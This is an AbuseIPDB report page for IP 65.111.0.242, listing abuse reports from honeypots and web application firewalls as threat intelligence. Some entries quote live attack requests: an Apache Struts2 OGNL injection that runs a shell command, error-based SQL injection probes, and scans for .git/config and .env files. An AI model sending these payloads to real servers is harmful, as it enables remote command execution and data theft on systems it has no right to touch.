JavaScript is disabled. Some features of this site may not work properly. For a smoother experience, please enable JavaScript in your browser settings.

AbuseIPDB » 65.111.0.242

65.111.0.242 was found in our database!

This IP was reported 37 times. Confidence of Abuse is 12%: ?

12%

ISP	3xK Tech GmbH
Usage Type	Data Center/Web Hosting/Transit
ASN	AS200373
Domain Name	3xktech.cloud
Country	🇺🇸 United States of America
City	Ashburn, Virginia

IP info including ISP, Usage Type, and Location provided by IPInfo. Updated weekly.

Report 65.111.0.242

Whois 65.111.0.242

IP Abuse Reports for 65.111.0.242:

This IP address has been reported a total of 37 times from 21 distinct sources. 65.111.0.242 was first reported on July 12th 2024, and the most recent report was 1 hour ago.

Recent Reports: We have received reports of abusive activity from this IP address within the last week. It is potentially still actively engaged in abusive activities.

Reporter	IoA Timestamp (UTC)	Comment	Categories
🇩🇪 NxtGenIT	2026-09-03 05:16:24 (1 hour ago)	CiscoASA Honeypot hit, Payload: "GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1" 200 -,	Brute-Force
🇫🇷 Sklurk	2026-08-02 03:34:49 (1 month ago)	Web App Attack	Web App Attack
🇫🇷 Sklurk	2026-08-01 00:15:16 (1 month ago)	Web App Attack	Web App Attack
🇬🇧 PeravixGroup	2026-05-22 11:33:59 (3 months ago)	Honeypot detection: Elasticsearch unauthorized access / data leak attempt on port 9200. Severity: ME ... show more Honeypot detection: Elasticsearch unauthorized access / data leak attempt on port 9200. Severity: MEDIUM. Aaran.cloud show less	Hacking Exploited Host
🇨🇳 ThreatBook.io	2026-05-14 23:22:31 (3 months ago)	ThreatBook Intelligence: vpn_proxy,Gateway more details on https://threatbook.io/ip/65.111.0.242 202 ... show more ThreatBook Intelligence: vpn_proxy,Gateway more details on https://threatbook.io/ip/65.111.0.242 2026-05-14 02:36:50 /druid/index.html 2026-05-14 02:36:52 /?method:%23_memberAccess%[email protected]@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse%28%29,%23res.setCharacterEncoding%28%23parameters.encoding[0]%29,%23w%3d%23res.getWriter%28%29,%23s%3dnew+java.util.Scanner%[email protected]@getRuntime%28%29.exec%28%23parameters.cmd[0]%29.getInputStream%28%29%29.useDelimiter%28%23parameters.pp[0]%29,%23str%3d%23s.hasNext%28%29%3f%23s.next%28%29%3a%23parameters.ppp[0],%23w.print%28%23str%29,%23w.close%28%29,1?%23xx:%23request.toString&cmd=netstat%20-an&pp=\A&ppp=%20&encoding=UTF-8 show less	Web App Attack
Anonymous	2026-05-03 01:23:45 (4 months ago)	Forum/form spam	Web Spam
🇨🇳 ThreatBook.io	2026-04-17 23:20:19 (4 months ago)	ThreatBook Intelligence: Gateway more details on http://threatbook.io/ip/65.111.0.242 2026-04-17 01: ... show more ThreatBook Intelligence: Gateway more details on http://threatbook.io/ip/65.111.0.242 2026-04-17 01:41:54 /video/index.php?c=search&catid=23%20and%20(select%201%20from%20(select%20count(),concat(md5(1),floor(rand(0)2))x%20from%20information_schema.tables%20group%20by%20x)a) 2026-04-17 02:25:22 /book/index.php?c=search&catid=23%20and%20(select%201%20from%20(select%20count(),concat(md5(1),floor(rand(0)2))x%20from%20information_schema.tables%20group%20by%20x)a) show less	Web App Attack
🇨🇳 ThreatBook.io	2026-04-01 23:19:40 (5 months ago)	ThreatBook Intelligence: Gateway more details on http://threatbook.io/ip/65.111.0.242 2026-04-01 18: ... show more ThreatBook Intelligence: Gateway more details on http://threatbook.io/ip/65.111.0.242 2026-04-01 18:08:09 /%23/serviceSync show less	Web App Attack
🇬🇧 relianoid.com	2026-03-23 09:43:51 (5 months ago)	POST Abuse detected by Relianoid OSS Load Balancer - relianoid.com	Web Spam
Anonymous	2026-03-13 23:11:54 (5 months ago)	Forum/form spam	Web Spam
🇺🇸 TPI-Abuse	2026-02-20 06:18:17 (6 months ago)	(mod_security) mod_security (id:225170) triggered by 65.111.0.242 (-): 1 in the last 300 secs; Ports ... show more (mod_security) mod_security (id:225170) triggered by 65.111.0.242 (-): 1 in the last 300 secs; Ports: *; Direction: 1; Trigger: LF_MODSEC; Logs: [Fri Feb 20 01:18:10.441540 2026] [security2:error] [pid 31814:tid 31841] [client 65.111.0.242:12975] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/etc/apache2/conf.d/modsec_vendor_configs/comodo_apache/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)\|\|andestravel.net\|F\|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "andestravel.net"] [uri "/wp-json/wp/v2/users"] [unique_id "aZf8osdaulDOyZmHvjkDLQAAAQ0"], referer: https://www.google.com show less	Brute-Force Bad Web Bot Web App Attack
🇺🇸 TPI-Abuse	2026-02-18 03:48:39 (6 months ago)	(mod_security) mod_security (id:210492) triggered by 65.111.0.242 (-): 1 in the last 300 secs; Ports ... show more (mod_security) mod_security (id:210492) triggered by 65.111.0.242 (-): 1 in the last 300 secs; Ports: *; Direction: 1; Trigger: LF_MODSEC; Logs: [Tue Feb 17 22:48:36.868957 2026] [security2:error] [pid 1627043:tid 1627043] [client 65.111.0.242:31061] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/comodo_apache/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "robertet.co"] [uri "/api/.git/config"] [unique_id "aZU2lOLzaYWLXi3qPh-xNQAAAAI"] show less	Brute-Force Bad Web Bot Web App Attack
🇺🇸 TPI-Abuse	2026-02-18 02:04:52 (6 months ago)	(mod_security) mod_security (id:210492) triggered by 65.111.0.242 (-): 1 in the last 300 secs; Ports ... show more (mod_security) mod_security (id:210492) triggered by 65.111.0.242 (-): 1 in the last 300 secs; Ports: *; Direction: 1; Trigger: LF_MODSEC; Logs: [Tue Feb 17 21:04:42.506572 2026] [security2:error] [pid 18159:tid 18159] [client 65.111.0.242:59973] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/comodo_apache/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "register-yacht-bahamas.com"] [uri "/config/.env"] [unique_id "aZUeOiYeQAozmRA7GRM_PgAAAAw"] show less	Brute-Force Bad Web Bot Web App Attack
🇨🇳 ThreatBook.io	2025-12-30 23:21:32 (8 months ago)	ThreatBook Intelligence: vpn_proxy,Gateway more details on https://threatbook.io/ip/65.111.0.242 202 ... show more ThreatBook Intelligence: vpn_proxy,Gateway more details on https://threatbook.io/ip/65.111.0.242 2025-12-30 06:30:07 /%23/serviceSync show less	Web App Attack
🇨🇳 ThreatBook.io	2025-12-24 23:18:22 (8 months ago)	ThreatBook Intelligence: vpn_proxy,Gateway more details on https://threatbook.io/ip/65.111.0.242 202 ... show more ThreatBook Intelligence: vpn_proxy,Gateway more details on https://threatbook.io/ip/65.111.0.242 2025-12-24 07:04:39 /fang/index.php?c=search&catid=23%20and%20(select%201%20from%20(select%20count(),concat(md5(1),floor(rand(0)2))x%20from%20information_schema.tables%20group%20by%20x)a) 2025-12-24 14:17:31 /fang/index.php?c=search&catid=23%20and%20(select%201%20from%20(select%20count(),concat(md5(1),floor(rand(0)2))x%20from%20information_schema.tables%20group%20by%20x)a) show less	Web App Attack

Showing 1 to 15 of 37 reports

Think this IP has been falsely reported? You may request to have the associated reports reviewed and removed. Request Takedown 🚩

Recently Reported IPs:

🇭🇺 217.146.4.161

🇬🇧 213.166.84.34

🇨🇳 180.108.157.222

🇨🇳 175.9.220.17

🇮🇳 117.218.75.251

🇨🇳 117.71.241.11

🇸🇪 104.222.172.186

🇫🇷 77.239.124.213

🇺🇸 71.244.224.107

🇱🇹 62.60.130.201

🇺🇸 47.251.44.36

🇧🇷 45.229.2.14

🇺🇸 45.79.110.218

🇺🇸 43.130.141.193

🇬🇧 34.153.129.18

🇬🇧 34.89.79.209

🇺🇸 34.70.220.85

🇺🇸 209.38.133.22

🇺🇸 202.81.221.80

🇨🇳 180.153.236.34